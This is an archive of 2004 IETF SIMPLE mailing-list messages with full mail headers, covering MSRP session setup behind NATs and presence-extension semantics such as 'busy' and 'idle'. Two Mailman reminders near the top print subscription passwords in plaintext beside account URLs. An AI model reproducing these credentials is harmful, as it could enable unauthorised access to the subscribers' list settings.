	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpUZ-00031M-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 10:38:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axp3J-0003Pn-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 10:09:55 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxoYh-0003rW-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 09:38:15 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axo7w-0000Fk-5y
	for simple-archive@ietf.org; Mon, 01 Mar 2004 09:10:36 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axo7l-0000q7-EQ
	for simple-archive@ietf.org; Mon, 01 Mar 2004 09:10:25 -0500
Date: Mon, 01 Mar 2004 09:10:25 -0500
Message-ID: <20040301141025.27462.79729.Mailman@www1.ietf.org>
Subject: ietf.org mailing list memberships reminder
From: mailman-owner@www1.ietf.org
To: simple-archive@ietf.org
X-No-Archive: yes
X-Ack: no
Sender: mailman-admin@ietf.org
Errors-To: mailman-admin@ietf.org
X-BeenThere: mailman@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60

This is a reminder, sent out once a month, about your ietf.org mailing
list memberships.  It includes your subscription info and how to use
it to change it or unsubscribe from a list.

You can visit the URLs to change your membership status or
configuration, including unsubscribing, setting digest-style delivery
or disabling delivery altogether (e.g., for a vacation), and so on.

In addition to the URL interfaces, you can also use email to make such
changes.  For more info, send a message to the '-request' address of
the list (for example, simple-request@ietf.org) containing just the
word 'help' in the message body, and an email message will be sent to
you with instructions.

***************************************************************************


                              Note Well

All statements related to the activities of the IETF and addressed to
the IETF are subject to all provisions of Section 10 of RFC 2026,
which grants to the IETF and its participants certain licenses and
rights in such statements. Such statements include verbal statements
in IETF meetings, as well as written and electronic communications
made at any time or place, which are addressed to

        * the IETF plenary session,
        * any IETF working group or portion thereof,
        * the IESG, or any member thereof on behalf of the IESG,
        * the IAB or any member thereof on behalf of the IAB,
        * any IETF mailing list, including the IETF list itself, any
working
            group or design team list, or any other list functioning
under IETF
            auspices,
        * the RFC Editor or the Internet-Drafts function

Statements made outside of an IETF meeting, mailing list or other
function, that are clearly not intended to be input to an IETF
activity, group or function, are not subject to these provisions.

   
***************************************************************************


If you have questions, problems, comments, etc, send them to
mailman-owner@www1.ietf.org.  Thanks!

Passwords for simple-archive@ietf.org:

List                                     Password // URL
----                                     --------  
simple@ietf.org                          onahda    
https://www1.ietf.org/mailman/options/simple/simple-archive%40ietf.org


From exim@www1.ietf.org  Mon Mar  1 11:20:28 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13329
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:05:12 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpnx-0001er-8F
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 10:58:05 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21Fw53E006369
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 10:58:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpnx-0001e9-3V
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 10:58:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA09499
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 10:49:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpXo-0003xK-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 10:41:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axp8G-0004VP-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 10:15:03 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxoZ4-0003OY-01
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 09:38:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axo4H-0008ML-2s
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 09:06:49 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axo4G-0006Od-09
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 09:06:48 -0500
Date: Mon, 01 Mar 2004 09:06:47 -0500
Message-ID: <20040301140647.27462.68742.Mailman@www1.ietf.org>
Subject: ietf.org mailing list memberships reminder
From: mailman-owner@www1.ietf.org
To: simple-web-archive@ietf.org
X-No-Archive: yes
X-Ack: no
Sender: mailman-admin@ietf.org
Errors-To: mailman-admin@ietf.org
X-BeenThere: mailman@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60

This is a reminder, sent out once a month, about your ietf.org mailing
list memberships.  It includes your subscription info and how to use
it to change it or unsubscribe from a list.

You can visit the URLs to change your membership status or
configuration, including unsubscribing, setting digest-style delivery
or disabling delivery altogether (e.g., for a vacation), and so on.

In addition to the URL interfaces, you can also use email to make such
changes.  For more info, send a message to the '-request' address of
the list (for example, simple-request@ietf.org) containing just the
word 'help' in the message body, and an email message will be sent to
you with instructions.

***************************************************************************


                              Note Well

All statements related to the activities of the IETF and addressed to
the IETF are subject to all provisions of Section 10 of RFC 2026,
which grants to the IETF and its participants certain licenses and
rights in such statements. Such statements include verbal statements
in IETF meetings, as well as written and electronic communications
made at any time or place, which are addressed to

        * the IETF plenary session,
        * any IETF working group or portion thereof,
        * the IESG, or any member thereof on behalf of the IESG,
        * the IAB or any member thereof on behalf of the IAB,
        * any IETF mailing list, including the IETF list itself, any
working
            group or design team list, or any other list functioning
under IETF
            auspices,
        * the RFC Editor or the Internet-Drafts function

Statements made outside of an IETF meeting, mailing list or other
function, that are clearly not intended to be input to an IETF
activity, group or function, are not subject to these provisions.

   
***************************************************************************


If you have questions, problems, comments, etc, send them to
mailman-owner@www1.ietf.org.  Thanks!

Passwords for simple-web-archive@ietf.org:

List                                     Password // URL
----                                     --------  
simple@ietf.org                          fuasex    
https://www1.ietf.org/mailman/options/simple/simple-web-archive%40ietf.org



From exim@www1.ietf.org  Mon Mar  1 11:20:30 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13246
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:05:07 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpuJ-0001tQ-Ln
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:04:39 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21G4d75007264
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:04:39 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpuI-0001sw-Uo
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:04:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12731
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:04:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxptP-00040A-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:03:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axpnh-0001wq-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 10:57:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpgA-0006yZ-00; Mon, 01 Mar 2004 10:50:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpgA-0001Fo-Ga; Mon, 01 Mar 2004 10:50:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpfc-00014S-Js
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 10:49:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA09747
	for <simple@ietf.org>; Mon, 1 Mar 2004 10:49:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpXD-0003ma-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:40:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axp7M-0004KG-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:14:08 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxoZ0-00040g-00
	for simple@ietf.org; Mon, 01 Mar 2004 09:38:34 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 06:50:02 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i21Ec01m018474;
	Mon, 1 Mar 2004 06:38:01 -0800 (PST)
Received: from [172.16.37.243] (sjc-vpn1-572.cisco.com [10.21.98.60])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMU05998;
	Mon, 1 Mar 2004 06:37:57 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] RE: MSRP & Comedia
From: Cullen Jennings <fluffy@cisco.com>
To: Adam Roach <adam@dynamicsoft.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>
CC: <simple@ietf.org>
Message-ID: <BC6979D4.339F9%fluffy@cisco.com>
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A346@dyn-tx-exch-001.dynamicsoft.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 23:37:56 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


It just sends an offer with all three and then the other ends selects. This
is how SIP is today - you can send an invite with no offer then get the
offer in the response and put the answer in the ack.

On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:

> From a protocol perspective, this sounds reasonable.
> 
> I think the key problem is that the first example shifts the
> decision of what type of communication is requested
> from the caller to the callee. Without getting into a discussion
> of whether that is the "right" thing to do, it certainly is
> going to differ from user expectations.
> 
> +----------------------------------------------+
> | Cullen Jennings <sip:fluffy@cisco.com> wants |
> | to start a conversation, but I have no idea  |
> | what kind. Take your best guess:             |
> |                                              |
> |    +-------+  +-----------------+  +----+    |
> |    | Voice |  | Voice and video |  | IM |    |
> |    +-------+  +-----------------+  +----+    |
> +----------------------------------------------+
> 
> /a
> 
>> -----Original Message-----
>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>> Sent: Friday, February 27, 2004 0:50
>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>> Cc: simple@ietf.org
>> Subject: MSRP & Comedia
>> 
>> 
>> 
>> This is a half baked idea that I am just tossing out as food
>> for thought
>> 
>> Consider a systems where something like the UA that sends the
>> answer sends
>> the VISIT. 
>> 
>> Consider the cases where A want to set up a MSRP session with B.
>> 
>> A is behind a NAT and does not want to use a relay. A sends
>> an INVITE with
>> no offer. B sends an offer, gets back an answer and A sends the VISIT.
>> A -> inv    -> B
>> A <- offer  <- B
>> A -> answer -> B
>> A -> visit  -> B
>> 
>> B is behind a NAT. A sends an offer and B sends an answer and
>> A sends VISIT.
>> A -> offer  -> B
>> A <- answer <- B
>> A <- visit  <- B
>> 
>> A and B are behind NATS. A sends INVITE no offer, B knows
>> relay is needed
>> and gets one and sends offer.
>> 
>> The underlying principal is basically if you don't know what
>> port you are
>> going to receive media at (which is the case with a NAT) you
>> should not be
>> making any offers and if you make an offer the assumption is
>> that the other
>> side and send media (a VISIT) to that and have it work.
>> 
>> The fundamental thing I am trying to avoid is two vendors
>> both saying they
>> have MSRP compliant systems yet still having them fail to be
>> able to talk to
>> each other because they both expect the other one to host.
>> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 11:20:30 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13350
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:05:14 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpuP-0001us-6l
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:04:45 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21G4jca007356
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:04:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpuO-0001uQ-QK
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:04:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12793
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:04:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpt7-0003te-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:03:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axpmr-0001al-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 10:57:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpfJ-0006hY-00; Mon, 01 Mar 2004 10:49:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpfC-0000vL-Bj; Mon, 01 Mar 2004 10:49:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpeL-0000pn-5F
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 10:48:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08537
	for <simple@ietf.org>; Mon, 1 Mar 2004 10:48:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpdH-0005sC-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:47:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpHy-00074I-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:25:06 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axokp-0006u3-00
	for simple@ietf.org; Mon, 01 Mar 2004 09:50:47 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21EoGNr011392;
	Mon, 1 Mar 2004 09:50:17 -0500 (EST)
Message-ID: <40434D96.5050006@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: mikko.lonnfors@nokia.com, simple@ietf.org
Subject: Re: [Simple] comments on prescaps - extension elements
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BC@esebe004.ntc.nokia.com> <40430042.5090108@cisco.com>
In-Reply-To: <40430042.5090108@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 09:49:58 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Paul Kyzivat wrote:

> 
>>> I disagree!
>>>
>>> The extension mechanism in callee-caps has means that don't require 
>>> any registration at all. This is very good for cases when there are 
>>> features that are very transient. For instance, it is possible to 
>>> define a feature tag for something like frobitz-sales, or 
>>> widget-help. And then I can use callerprefs to select an endpoint 
>>> with the appropriate capability. This allows end users to take 
>>> advantage of callerprefs for features that matter to them. (Assuming 
>>> sufficiently smart devices.)
>>>
>>> When using presence, I would like the same to hold true. If it is 
>>> necessary to define a new xml schema before I can announce a 
>>> capability for widget-help in my presence then nothing this dynamic 
>>> can be a feature.

I'm not sure I agree with this premise. Presence is not callee caps. 
With caller prefs, I can ask to a device that does frobitz-sales, 
without learning whether there exists such a device, or which it is. 
Thus, there are no privacy concerns per se with the use case you describe.

However, if every callee caps attribute automatically goes into pidf, 
then information can be revealed to a presentity. How do we control 
that? How would privacy policies work with the extensibility model you 
desire?


>>
>>
>>
>> This is definitely a use case where mandating a new XML schema may not
>> work. I originally thought that making new XML schema would not be that
>> big deal but if you want this kind of automation then making new XML
>> schema on the fly may not be possible. Only doubt that I have is that 
>> can the end point which receives this
>> information really use it? If this info in generated on the fly then how
>> the receiving end really knows to look for this?
> 
> 
> This can work as long as it is a community of users with a common 
> understanding of what they use. Such a community may have no ability to 
> alter the code of the devices, so this is the best they can expect.

It seems you need the ability to modify the devices to take advantage of 
the extension mechanism you want. As I pointed out during the meeting, 
the currently documented extension technique works when the callee and 
the watcher understand the extension, but the presence server does not. 
In such a case, it seems to me that the devices necessarily have to be 
able to change, no?

> 
>>> If there is a problem, it is that the draft forbids use of the 
>>> extension mechanism when there is specific schema for the same purpose.
>>
>>
>> Well, I think this restriction is quite useful. I think there should be
>> a rule that _same_ data cannot be placed into two different places. If
>> this happens it may be very confusing for applications processing this
>> information to decide what to do. My intension with the restriction 
>> you refer to was to forbid use of
>> extension tags to represent standard tags defined in callee caps. 
> 
> 
> The problem here is that a given tag may initially be represented as an 
> extension tag. Later, somebody decides it would be nice to have a custom 
> schema for that tag. Once that starts to be implemented there is an 
> interop problem between those that have adopted the new schema and those 
> still using the old way.

Exactly - this is one of the arguments for having just one extensibility 
mechanism.

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 11:41:36 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16586
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:25:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqEJ-0002it-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:25:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqBW-0001yh-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:22:27 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAQ-0001P6-00; Mon, 01 Mar 2004 11:21:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axq7V-00019D-7r; Mon, 01 Mar 2004 11:18:17 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axq7F-0004lH-QK; Mon, 01 Mar 2004 11:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axq6M-0004iZ-OD
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:17:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13920
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxphQ-0007JX-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:51:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpSA-0002D0-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:35:39 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axozp-0002WG-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:06:17 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21F5fNr011411;
	Mon, 1 Mar 2004 10:05:42 -0500 (EST)
Message-ID: <40435132.4070505@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4042CF62.7030907@cs.columbia.edu>
In-Reply-To: <4042CF62.7030907@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:05:22 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline.

Henning Schulzrinne wrote:

> Paul Kyzivat wrote:
> 
>>> How does busy differ from closed? Also, I dont see a reason why it 
>>> couldnt automatically be generated. For example, if I'm in a meeting.
>>
>>
>>
>> It differs because it means that you (probably) don't want to 
>> communicate, not that you can't. A call will possibly result in 
>> alerting the presentity. It may then result in no answer, or an answer 
>> from someone who will be annoyed with you.
>>
>> While it could be generated automatically, I think maybe the 
>> assumption was that automated generation could be more precise. OTOH, 
>> it may be that filtering will turn the more precise specifications 
>> into this one in order to be less specific. So maybe the 2nd sentence 
>> should be removed.
> 
> 
> Reworded to
> 
> User is busy, without further details. While this
> activity would typically be associated with a status of CLOSED, a
> presentity may declare itself busy to discourage communication, but
> indicate that it still can be reached if needed.

OK.

> 
> 
>> Maybe that the phone would ring without answer? Or that it would be 
>> answered by whoever the phone number was reassigned to? (Aren't phone 
>> numbers wonderful?)
> 
> 
> Added sentence along those lines.
> 
> This interpretation implies that OPEN implies nothing about the 
> usefulness of communication that is possible.

Well, this directly contradicts the text that is currently in the 
beginning of rpid:

>  PIDF describes the basic status values of "open" or "closed" only as
>    "have meanings of general availability for other communications
>    means". We define "closed" in our context as meaning that
>    communication to the contact address will in all likelihood not
>    succeed, is undesired or will not reach the intended party.  (For
>    example, a presentity may include a hotel phone number as a contact.
>    After check-out, the phone number will still ring, but reach the
>    chambermaid or the next guest.  Thus, it would be declared "closed".)
>    For "pres" contacts, "closed" means that no presence status
>    information is available.



> 
>> I have a related issue that I thought I already raised, but maybe not.
>>
>> I agree with your characterization of idle on commercial IM systems, 
>> and that is probably what we want for those built with SIMPLE as well. 
>> But when we extend the notion of presence to phones we typically get a 
>> different semantic. It is common to be in close proximity to a phone 
>> and yet not use it for long periods of time. So if idle is based on 
>> how long since the phone was used, then a long idle time says nothing 
>> about the likelihood that a call would be answered. And conversely, a 
>> lack of an <idle> status likely increases the probability that a call 
>> won't be answered.
>>
>> So we end up with a status attribute whose significance is dependent 
>> on the type of device publishing it. That seems like a bad thing. I'm 
>> not sure what the solution is. Perhaps replacing idle with an 
>> attribute that expressed a probability that the device is attended?
> 
> 
> I can't see how a PC or phone could compute these probabilities. This 
> would require knowing that 10 minutes of absence (the only observable 
> value), for a particular user, implies that there's a 20% chance that 
> the user has stepped out. Unless your PC or phone has a user proximity 
> detector, this seems hard to do.
> 
> We do have the contact-type to allow the receiver to guess what this may 
> mean. I think we discussed this before: in almost all cases, the value 
> of a long idle time is not all that high (unless you know that the 
> presentity is either a telemarketer who doesn't exist without a phone or 
> a compulsive PC user that doesn't take his hands off the keyboard while 
> in the office), but a short idle time is a good indication that somebody 
> is likely home, be it a phone or PC.
> 
> Thus, my suggestion is to leave this as is and not try to over-interpret 
> the value.

I'd really rather not; I think its a mistake to produce an idle 
attribute that differs substantially from established semantics. This is 
one of the few pidf extensions that we know is widely used in existing 
systems, and is a clear requirement for us to provide.

I would instead propose that we define an attribute like <device-idle> 
which makes it clear that this refers to the idle time on the DEVICE on 
which that particular tuple is associated. A natural consequence of this 
is that it wouldnt make sense for tuples that span devices or are 
otherwise not associated with a device. I'd also suggest adding text 
that makes it clear that, in the one case of an IM app on a PC, that 
this has the commonly understood semantics of idle.

We may or may not also want idle as you have defined it; I am more 
agnostic on that point, but would suggest renamining it if it is 
included, to avoid confusion.

